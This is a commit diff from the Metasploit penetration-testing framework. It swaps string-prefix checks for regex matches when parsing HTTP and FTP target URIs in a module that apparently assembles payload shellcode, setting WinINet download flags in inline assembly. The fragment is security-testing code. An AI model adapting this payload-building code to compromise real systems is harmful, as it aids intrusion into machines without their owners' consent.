probably safer to use regex

unstable
corelanc0d3r 2012-03-26 12:30:03 +02:00 committed by Tod Beardsley
parent f07cc2db4c
commit ad32911b1a
1 changed files with 2 additions and 2 deletions

View File

@ -92,12 +92,12 @@ module Metasploit3
if target_uri.length > 0
# get desired protocol
if target_uri.start_with?'http://'
if target_uri =~ /^http:/
proto = "http"
port_nr = 80
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"
end
if target_uri.start_with?'ftp://'
if target_uri =~ /^ftp:/
proto = "ftp"
port_nr = 21
dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n"